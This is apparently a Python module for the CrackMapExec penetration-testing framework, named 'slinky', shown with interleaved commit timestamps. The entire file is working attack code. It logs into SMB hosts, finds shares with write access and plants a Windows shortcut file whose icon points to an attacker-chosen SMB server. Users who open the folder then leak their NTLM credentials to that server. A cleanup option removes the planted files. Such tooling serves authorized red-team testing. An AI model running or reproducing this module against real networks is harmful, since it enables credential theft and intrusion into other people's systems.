2020-04-19 19:18:23 +00:00
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import pylnk3
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2017-05-05 01:13:11 +00:00
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import os
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import ntpath
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from sys import exit
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class CMEModule:
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'''
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Original idea and PoC by Justin Angel (@4rch4ngel86)
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Module by @byt3bl33d3r
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'''
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name = 'slinky'
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description = 'Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions'
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supported_protocols = ['smb']
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opsec_safe= False
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multiple_hosts = True
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def options(self, context, module_options):
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'''
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SERVER IP of the SMB server
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NAME LNK file name
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CLEANUP Cleanup (choices: True or False)
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'''
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self.cleanup = False
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if 'CLEANUP' in module_options:
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self.cleanup = bool(module_options['CLEANUP'])
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if 'NAME' not in module_options:
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context.log.error('NAME option is required!')
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exit(1)
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if not self.cleanup and 'SERVER' not in module_options:
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context.log.error('SERVER option is required!')
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exit(1)
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self.lnk_name = module_options['NAME']
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self.lnk_path = '/tmp/{}.lnk'.format(self.lnk_name)
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self.file_path = ntpath.join('\\', '{}.lnk'.format(self.lnk_name))
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if not self.cleanup:
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self.server = module_options['SERVER']
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2020-04-20 16:19:55 +00:00
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link = pylnk3.create(self.lnk_path)
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2017-05-05 01:13:11 +00:00
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link.icon = '\\\\{}\\icons\\icon.ico'.format(self.server)
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link.save()
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def on_login(self, context, connection):
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shares = connection.shares()
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for share in shares:
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if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']:
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2017-05-08 03:16:18 +00:00
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context.log.success('Found writable share: {}'.format(share['name']))
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2017-05-05 01:13:11 +00:00
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if not self.cleanup:
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with open(self.lnk_path, 'rb') as lnk:
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try:
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connection.conn.putFile(share['name'], self.file_path, lnk.read)
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context.log.success('Created LNK file on the {} share'.format(share['name']))
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except Exception as e:
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context.log.error('Error writing LNK file to share {}: {}'.format(share['name'], e))
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else:
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try:
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connection.conn.deleteFile(share['name'], self.file_path)
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context.log.success('Deleted LNK file on the {} share'.format(share['name']))
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except Exception as e:
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context.log.error('Error deleting LNK file on share {}: {}'.format(share['name'], e))
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